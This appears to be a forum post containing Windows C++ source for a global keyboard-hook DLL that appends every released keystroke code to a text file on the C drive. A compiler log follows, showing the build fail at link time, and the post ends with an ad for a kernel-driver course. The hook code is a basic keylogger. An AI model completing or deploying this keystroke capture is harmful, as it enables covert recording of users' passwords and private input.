/*hookdll.cpp*/
#include "windows.h"
#include "hookdll.h"
#include "string.h"
#include "stdio.h"
HINSTANCE hInst;
#pragma data_seg("hookdata")
HHOOK oldkeyhook=0;
#pragma data_seg()
#pragma comment(linker,"/SECTION:hookdata,RWS")
#define DllExport extern "C"__declspec(dllexport)
DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam );
DllExport void InstallHook(int nCode);
DllExport void EndHook(void);
BOOL WINAPI DllMain(HINSTANCE hInstance,ULONG What,LPVOID NotUsed)
{
switch(What)
{
case DLL_PROCESS_ATTACH:
hInst = hInstance;
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return 1;
}
void InstallHook(int nCode)
{
oldkeyhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyBoardProc,hInst,0);
}
DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam )
{
WPARAM j;
FILE *fp;
if(lParam&0x80000000)
{
j = wParam;
fp=fopen("c:hookkey.txt","a");
fprintf(fp,"%4d",j);
fclose(fp);
}
return CallNextHookEx(oldkeyhook,nCode,wParam,lParam);
}
void EndHook(void)
{
UnhookWindowsHookEx(oldkeyhook);
}
/*hookdll.h*/
#define DllImport extern"C"__declspec(dllimport)
DllImport void InstallHook(int nCode);
DllImport LRESULT CALLBACK KeyBoardProc (int nCode,WPARAM wParam, LPARAM lParam );
DllImport void EndHook(void);
/*编译错误*/
--------------------Configuration: hook_exec - Win32 Debug--------------------
Compiling...
hookdll.cpp
d:\wg\hook_exec\hookdll.cpp(16) : warning C4273: 'KeyBoardProc' : inconsistent dll linkage. dllexport assumed.
d:\wg\hook_exec\hookdll.cpp(17) : warning C4273: 'InstallHook' : inconsistent dll linkage. dllexport assumed.
d:\wg\hook_exec\hookdll.cpp(18) : warning C4273: 'EndHook' : inconsistent dll linkage. dllexport assumed.
Linking...
Creating library Debug/hook_exec.lib and object Debug/hook_exec.exp
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
Debug/hook_exec.exe : fatal error LNK1120: 1 unresolved externals
Error executing link.exe.
hook_exec.exe - 2 error(s), 3 warning(s)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课